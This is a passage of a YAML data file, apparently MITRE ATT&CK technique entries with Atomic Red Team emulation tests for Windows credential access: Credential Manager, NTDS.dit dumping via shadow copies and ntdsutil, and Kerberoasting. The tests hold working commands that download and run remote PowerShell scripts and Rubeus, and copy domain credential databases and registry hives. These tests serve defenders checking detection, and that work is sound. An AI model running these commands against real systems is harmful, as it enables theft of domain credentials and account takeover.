https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials - source_name: Microsoft Credential Locker description: Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020. url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN - source_name: Microsoft Credential Manager store description: Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020. url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store - source_name: Microsoft CredEnumerate description: Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020. url: https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea - source_name: passcape Windows Vault description: Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020. url: https://www.passcape.com/windows_password_recovery_vault_explorer object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1555.004 atomic_tests: - name: Access Saved Credentials via VaultCmd auto_generated_guid: 9c2dd36d-5c8b-4b29-8d72-a11b0d5d7439 description: | List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16 supported_platforms: - windows executor: name: command_prompt elevation_required: false command: 'vaultcmd /listcreds:"Windows Credentials" ' - name: WinPwn - Loot local Credentials - Invoke-WCMDump auto_generated_guid: fa714db1-63dd-479e-a58e-7b2b52ca5997 description: Loot local Credentials - Invoke-WCMDump technique via function of WinPwn supported_platforms: - windows executor: command: |- iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1') Invoke-WCMDump name: powershell T1556.001: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605 type: attack-pattern created: '2020-02-11T19:05:02.399Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.001 url: https://attack.mitre.org/techniques/T1556/001 - source_name: Dell Skeleton description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019. url: https://www.secureworks.com/research/skeleton-key-malware-analysis - url: https://technet.microsoft.com/en-us/library/dn487457.aspx description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. source_name: TechNet Audit Policy modified: '2022-04-25T14:00:00.188Z' name: Domain Controller Authentication description: "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: "Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). " x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Process: Process Access' - 'File: File Modification' - 'Process: OS API Execution' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1556.005: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48 type: attack-pattern created: '2022-01-13T20:02:28.349Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.005 url: https://attack.mitre.org/techniques/T1556/005 - source_name: store_pwd_rev_enc url: https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption description: Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022. - source_name: how_pwd_rev_enc_1 url: http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html description: 'Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.' - source_name: how_pwd_rev_enc_2 url: http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html description: 'Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.' - source_name: dump_pwd_dcsync url: https://adsecurity.org/?p=2053 description: Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021. modified: '2022-05-11T14:00:00.188Z' name: Reversible Encryption description: |- An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc) If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components: 1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters 2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters 3. Global LSA secret (G$MSRADIUSCHAPKEY) 4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL) With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2) An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: "Monitor property changes in Group Policy: Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\n\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)" x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Active Directory: Active Directory Object Modification' - 'Command: Command Execution' - 'User Account: User Account Metadata' - 'Script: Script Execution' x_mitre_permissions_required: - User - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1111: technique: modified: '2023-05-09T14:00:00.188Z' name: Multi-Factor Authentication Interception description: "Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.(Citation: Okta Scatter Swine 2022)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - John Lambert, Microsoft Threat Intelligence Center x_mitre_deprecated: false x_mitre_detection: |- Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - Windows - macOS x_mitre_version: '2.1' x_mitre_data_sources: - 'Driver: Driver Load' - 'Process: OS API Execution' - 'Windows Registry: Windows Registry Key Modification' type: attack-pattern id: attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49 created: '2017-05-31T21:31:23.195Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1111 external_id: T1111 - source_name: GCN RSA June 2011 description: Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018. url: https://gcn.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/ - source_name: Mandiant M Trends 2011 description: Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016. url: https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf - source_name: Okta Scatter Swine 2022 description: 'Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.' url: https://sec.okta.com/scatterswine object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1003.003: technique: modified: '2023-07-28T14:41:38.908Z' name: 'OS Credential Dumping: NTDS' description: | Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory) In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015) The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes. * Volume Shadow Copy * secretsdump.py * Using the in-built Windows tool, ntdsutil.exe * Invoke-NinjaCopy kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Ed Williams, Trustwave, SpiderLabs x_mitre_deprecated: false x_mitre_detection: Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Access' x_mitre_system_requirements: - Access to Domain Controller or backup type: attack-pattern id: attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24 created: '2020-02-11T18:42:35.572Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1003/003 external_id: T1003.003 - source_name: Metcalf 2015 description: Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015. url: http://adsecurity.org/?p=1275 - source_name: Wikipedia Active Directory description: Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018. url: https://en.wikipedia.org/wiki/Active_Directory object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1003.003 atomic_tests: - name: Create Volume Shadow Copy with vssadmin auto_generated_guid: dcebead7-6c28-4b4b-bf3c-79deb1b1fc7f description: | This test is intended to be run on a domain Controller. The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy. supported_platforms: - windows input_arguments: drive_letter: description: Drive letter to source VSC (including colon) type: string default: 'C:' dependencies: - description: 'Target must be a Domain Controller ' prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT ' get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller must be done manually ' executor: command: 'vssadmin.exe create shadow /for=#{drive_letter} ' name: command_prompt elevation_required: true - name: Copy NTDS.dit from Volume Shadow Copy auto_generated_guid: c6237146-9ea6-4711-85c9-c56d263a6b03 description: | This test is intended to be run on a domain Controller. The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy. This test requires steps taken in the test "Create Volume Shadow Copy with vssadmin". A successful test also requires the export of the SYSTEM Registry hive. This test must be executed on a Windows Domain Controller. supported_platforms: - windows input_arguments: vsc_name: description: Name of Volume Shadow Copy type: string default: "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1" extract_path: description: Path for extracted NTDS.dit type: path default: C:\Windows\Temp dependencies: - description: 'Target must be a Domain Controller ' prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT ' get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller must be done manually ' - description: 'Volume shadow copy must exist ' prereq_command: 'if not exist #{vsc_name} (exit /b 1) ' get_prereq_command: 'echo Run "Invoke-AtomicTest T1003.003 -TestName ''Create Volume Shadow Copy with vssadmin''" to fulfill this requirement ' - description: 'Extract path must exist ' prereq_command: 'if not exist #{extract_path} (exit /b 1) ' get_prereq_command: 'mkdir #{extract_path} ' executor: command: | copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE cleanup_command: | del "#{extract_path}\ntds.dit" >nul 2> nul del "#{extract_path}\VSC_SYSTEM_HIVE" >nul 2> nul del "#{extract_path}\SYSTEM_HIVE" >nul 2> nul name: command_prompt elevation_required: true - name: Dump Active Directory Database with NTDSUtil auto_generated_guid: 2364e33d-ceab-4641-8468-bfb1d7cc2723 description: | This test is intended to be run on a domain Controller. The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability uses the "IFM" or "Install From Media" backup functionality that allows Active Directory restoration or installation of subsequent domain controllers without the need of network-based replication. Upon successful completion, you will find a copy of the ntds.dit file in the C:\Windows\Temp directory. supported_platforms: - windows input_arguments: output_folder: description: Path where resulting dump should be placed type: path default: C:\Windows\Temp\ntds_T1003 dependencies: - description: 'Target must be a Domain Controller ' prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT ' get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller must be done manually ' executor: command: | mkdir #{output_folder} ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q cleanup_command: 'rmdir /q /s #{output_folder} >nul 2>&1 ' name: command_prompt elevation_required: true - name: Create Volume Shadow Copy with WMI auto_generated_guid: 224f7de0-8f0a-4a94-b5d8-989b036c86da description: | This test is intended to be run on a domain Controller. The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy. supported_platforms: - windows input_arguments: drive_letter: description: Drive letter to source VSC (including colon and backslash) type: string default: C:\ dependencies: - description: 'Target must be a Domain Controller ' prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT ' get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller must be done manually ' executor: command: 'wmic shadowcopy call create Volume=#{drive_letter} ' name: command_prompt elevation_required: true - name: Create Volume Shadow Copy remotely with WMI auto_generated_guid: d893459f-71f0-484d-9808-ec83b2b64226 description: | This test is intended to be run from a remote workstation with domain admin context. The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy. supported_platforms: - windows input_arguments: drive_letter: description: Drive letter to source VSC (including colon and backslash) type: string default: C:\ target_host: description: IP Address / Hostname you want to target type: string default: localhost dependencies: - description: 'Target must be a reachable Domain Controller, and current context must be domain admin ' prereq_command: 'wmic /node:"#{target_host}" shadowcopy list brief ' get_prereq_command: 'echo Sorry, can''t connect to target host, check: network, firewall or permissions (must be admin on target) ' executor: command: 'wmic /node:"#{target_host}" shadowcopy call create Volume=#{drive_letter} ' name: command_prompt elevation_required: true - name: Create Volume Shadow Copy remotely (WMI) with esentutl auto_generated_guid: 21c7bf80-3e8b-40fa-8f9d-f5b194ff2865 description: | This test is intended to be run from a remote workstation with domain admin context. The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy created with esentutl. supported_platforms: - windows input_arguments: source_path: description: File to shadow copy type: string default: c:\windows\ntds\ntds.dit target_path: description: Target path of the result file type: string default: c:\ntds.dit target_host: description: IP Address / Hostname you want to target type: string default: localhost dependencies: - description: 'Target must be a reachable Domain Controller, and current context must be domain admin ' prereq_command: 'wmic /node:"#{target_host}" shadowcopy list brief ' get_prereq_command: 'echo Sorry, can''t connect to target host, check: network, firewall or permissions (must be admin on target) ' executor: command: 'wmic /node:"#{target_host}" process call create "cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}" ' name: command_prompt elevation_required: true - name: Create Volume Shadow Copy with Powershell auto_generated_guid: 542bb97e-da53-436b-8e43-e0a7d31a6c24 description: | This test is intended to be run on a domain Controller. The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy. supported_platforms: - windows input_arguments: drive_letter: description: Drive letter to source VSC (including colon) type: string default: C:\ executor: command: "(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')\n" name: powershell elevation_required: true - name: Create Symlink to Volume Shadow Copy auto_generated_guid: 21748c28-2793-4284-9e07-d6d028b66702 description: | This test is intended to be run on a domain Controller. The Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy. supported_platforms: - windows input_arguments: drive_letter: description: Drive letter to source VSC (including colon) type: string default: 'C:' symlink_path: description: symlink path type: string default: C:\Temp\vssstore executor: command: | vssadmin.exe create shadow /for=#{drive_letter} mklink /D #{symlink_path} \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 name: command_prompt elevation_required: true - name: Create Volume Shadow Copy with diskshadow auto_generated_guid: b385996c-0e7d-4e27-95a4-aca046b119a7 description: | This test is intended to be run on a domain controller An alternative to using vssadmin to create a Volume Shadow Copy for extracting ntds.dit supported_platforms: - windows input_arguments: filename: description: Location of the script type: Path default: PathToAtomicsFolder\T1003.003\src\diskshadow.txt executor: command: | mkdir c:\exfil diskshadow.exe /s #{filename} name: command_prompt elevation_required: true T1558.003: technique: modified: '2023-03-30T21:01:46.538Z' name: 'Steal or Forge Kerberos Tickets: Kerberoasting' description: "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Praetorian x_mitre_detection: 'Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Active Directory: Active Directory Credential Request' x_mitre_system_requirements: - Valid domain account or the ability to sniff traffic within a domain type: attack-pattern id: attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee created: '2020-02-11T18:43:38.588Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1558/003 external_id: T1558.003 - source_name: Empire InvokeKerberoast Oct 2016 description: EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018. url: https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 - source_name: AdSecurity Cracking Kerberos Dec 2015 description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018. url: https://adsecurity.org/?p=2293 - source_name: Microsoft Detecting Kerberoasting Feb 2018 description: Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018. url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/ - source_name: Microsoft SPN description: Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018. url: https://msdn.microsoft.com/library/ms677949.aspx - source_name: Microsoft SetSPN description: Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018. url: https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx - source_name: SANS Attacking Kerberos Nov 2014 description: Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018. url: https://redsiege.com/kerberoast-slides - source_name: Harmj0y Kerberoast Nov 2016 description: Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018. url: https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' identifier: T1558.003 atomic_tests: - name: Request for service tickets auto_generated_guid: 3f987809-3681-43c8-bcd8-b3ff3a28533a description: "This test uses the Powershell Empire Module: Invoke-Kerberoast.ps1\nThe following are further sources and credits for this attack:\n[Kerberoasting Without Mimikatz source] (https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)\n[Invoke-Kerberoast source] (https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)\nwhen executed successfully , the test displays available services with their hashes. \nIf the testing domain doesn't have any service principal name configured, there is no output\n" supported_platforms: - windows dependencies: - description: 'Computer must be domain joined ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing) Invoke-Kerberoast | fl name: powershell - name: Rubeus kerberoast auto_generated_guid: 14625569-6def-4497-99ac-8e7817105b55 description: | Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast This build targets .NET 4.5. If targeting a different version you will need to compile Rubeus supported_platforms: - windows input_arguments: local_folder: description: Local path of Rubeus executable type: path default: PathToAtomicsFolder\..\ExternalPayloads local_executable: description: name of the rubeus executable type: string default: rubeus.exe out_file: description: file where command results are stored type: string default: rubeus_output.txt rubeus_url: description: URL of Rubeus executable type: url default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe flags: description: command flags you would like to run (optional and blank by default) type: string default: dependency_executor_name: powershell dependencies: - description: 'Computer must be domain joined ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually ' - description: 'Rubeus must exist ' prereq_command: 'if(Test-Path -Path "#{local_folder}\#{local_executable}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-Webrequest -Uri #{rubeus_url} -OutFile "#{local_folder}\#{local_executable}" executor: command: | klist purge cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /outfile:"#{local_folder}\#{out_file}" cleanup_command: 'Remove-Item "#{local_folder}\#{out_file}" -ErrorAction Ignore ' name: powershell elevation_required: false - name: Extract all accounts in use as SPN using setspn auto_generated_guid: e6f4affd-d826-4871-9a62-6c9004b8fe06 description: "The following test will utilize setspn to extract the Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. \nA successful execution will output all the SPNs for the related domain. \n" supported_platforms: - windows input_arguments: domain_name: description: The Domain Name to lookup against type: string default: "%USERDNSDOMAIN%" dependency_executor_name: powershell dependencies: - description: 'Computer must be domain joined ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually ' executor: command: 'setspn -T #{domain_name} -Q */* ' name: command_prompt - name: Request A Single Ticket via PowerShell auto_generated_guid: 988539bc-2ed7-4e62-aec6-7c5cf6680863 description: "The following test will utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. \nA successful execution will output the SPNs for the endpoint in question.\n" supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Computer must be domain joined ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually ' executor: command: "Add-Type -AssemblyName System.IdentityModel\n$ComputerFQDN=$env:LogonServer.trimStart('\\') + \".\" + $env:UserDnsDomain\nNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \"HTTP/$ComputerFQDN\" \n" name: powershell - name: Request All Tickets via PowerShell auto_generated_guid: 902f4ed2-1aba-4133-90f2-cff6d299d6da description: "The following test will utilize native PowerShell Identity modules 